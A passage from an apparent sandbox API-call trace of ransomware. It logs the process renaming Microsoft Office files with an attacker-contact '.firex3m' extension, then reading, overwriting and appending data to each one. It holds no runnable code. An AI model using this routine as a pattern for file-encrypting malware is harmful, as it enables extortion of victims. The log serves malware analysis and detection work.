(in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.305] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.305] CloseHandle (hObject=0x4d4) returned 1 [0155.305] GetProcessHeap () returned 0x630000 [0155.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa010 | out: hHeap=0x630000) returned 1 [0155.305] GetProcessHeap () returned 0x630000 [0155.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6faa830 | out: hHeap=0x630000) returned 1 [0155.305] GetProcessHeap () returned 0x630000 [0155.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176e58 | out: hHeap=0x630000) returned 1 [0155.305] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283c3c8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x573fd20, dwReserved1=0x6faa830, cFileName="MSOSEC.XML.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSOSEC~1.FIR")) returned 0x6d5540 [0155.306] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0155.306] Sleep (dwMilliseconds=0x1) [0155.426] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL", len=0x41 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL") returned 1 [0155.426] GetProcessHeap () returned 0x630000 [0155.426] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b58) returned 0x707d3d0 [0155.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0155.466] CloseHandle (hObject=0x4d4) returned 1 [0155.466] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.467] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.467] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c3a235, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1c3a235, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1c3a235, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd8a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d4ec0 [0155.467] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0155.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\workflow.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0155.467] GetProcessHeap () returned 0x630000 [0155.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7001850 [0155.467] GetProcessHeap () returned 0x630000 [0155.467] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x700cc80 [0155.467] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.467] ReadFile (in: hFile=0x4d4, lpBuffer=0x7001850, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7001850*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.056] GetProcessHeap () returned 0x630000 [0164.056] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0164.056] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.056] WriteFile (in: hFile=0x4d4, lpBuffer=0x700cc80*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x700cc80*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.057] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.057] WriteFile (in: hFile=0x4d4, lpBuffer=0x701807f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x701807f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.057] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.057] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.057] CloseHandle (hObject=0x4d4) returned 1 [0164.057] GetProcessHeap () returned 0x630000 [0164.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x700cc80 | out: hHeap=0x630000) returned 1 [0164.057] GetProcessHeap () returned 0x630000 [0164.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7001850 | out: hHeap=0x630000) returned 1 [0164.057] GetProcessHeap () returned 0x630000 [0164.058] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0164.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1c3a235, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1c3a235, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x27bced38, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd8cc, dwReserved0=0xa5c7496, dwReserved1=0x7001848, cFileName="WORKFLOW.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORKFL~1.FIR")) returned 0x6d4e40 [0164.058] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0164.058] Sleep (dwMilliseconds=0x1) [0165.386] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.386] GetProcessHeap () returned 0x630000 [0165.386] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be8) returned 0x707d3d0 [0165.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0166.650] CloseHandle (hObject=0x698) returned 1 [0166.650] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.778] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10e60, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4e40 [0170.778] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0170.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1041\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0170.779] GetProcessHeap () returned 0x630000 [0170.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0170.779] GetProcessHeap () returned 0x630000 [0170.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73aa630 [0170.780] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.780] ReadFile (in: hFile=0x698, lpBuffer=0x739f200, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.113] GetProcessHeap () returned 0x630000 [0180.113] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0180.113] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.113] WriteFile (in: hFile=0x698, lpBuffer=0x73aa630*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.114] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.114] WriteFile (in: hFile=0x698, lpBuffer=0x73b5a2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b5a2f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.114] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.114] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.114] CloseHandle (hObject=0x698) returned 1 [0180.114] GetProcessHeap () returned 0x630000 [0180.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0180.114] GetProcessHeap () returned 0x630000 [0180.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0180.114] GetProcessHeap () returned 0x630000 [0180.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0180.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x314d4568, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10e84, dwReserved0=0xa5c7496, dwReserved1=0x739f1f8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5000 [0180.115] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0180.115] Sleep (dwMilliseconds=0x1) [0182.103] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr", len=0x4a | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr") returned 1 [0182.103] GetProcessHeap () returned 0x630000 [0182.103] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a90) returned 0x707d3d0 [0182.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0182.104] CloseHandle (hObject=0x640) returned 1 [0182.104] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.104] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaf2ed8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x456d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1F2D~1.FIR")) returned 0x6d5540 [0182.105] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0182.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0182.105] GetProcessHeap () returned 0x630000 [0182.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71803a8 [0182.106] GetProcessHeap () returned 0x630000 [0182.106] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0182.106] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.106] ReadFile (in: hFile=0x640, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.413] GetProcessHeap () returned 0x630000 [0190.413] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0190.414] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.414] WriteFile (in: hFile=0x640, lpBuffer=0x718b7d8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.414] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.414] WriteFile (in: hFile=0x640, lpBuffer=0x7196bd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7196bd7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.417] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.417] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.417] CloseHandle (hObject=0x640) returned 1 [0190.417] GetProcessHeap () returned 0x630000 [0190.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0190.417] GetProcessHeap () returned 0x630000 [0190.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0190.425] GetProcessHeap () returned 0x630000 [0190.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0190.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaf2ed8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaf2ed8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3772de23, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x456f8, dwReserved0=0xa5c7496, dwReserved1=0x71803a0, cFileName="TellMeOutlookMail.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE1F2D~1.FIR")) returned 0x6d4f40 [0190.425] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0190.425] Sleep (dwMilliseconds=0x1) [0190.431] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png", len=0x67 | out: pbstr=0x573ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png") returned 1 [0190.431] GetProcessHeap () returned 0x630000 [0190.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3220) returned 0x74656a8 [0190.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0190.433] CloseHandle (hObject=0x640) returned 1 [0190.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.434] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x740063, dwReserved1=0x73002d, cFileName="WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~1.FIR")) returned 0x6d5440 [0190.436] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0190.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-80.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0190.436] GetProcessHeap () returned 0x630000 [0190.436] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 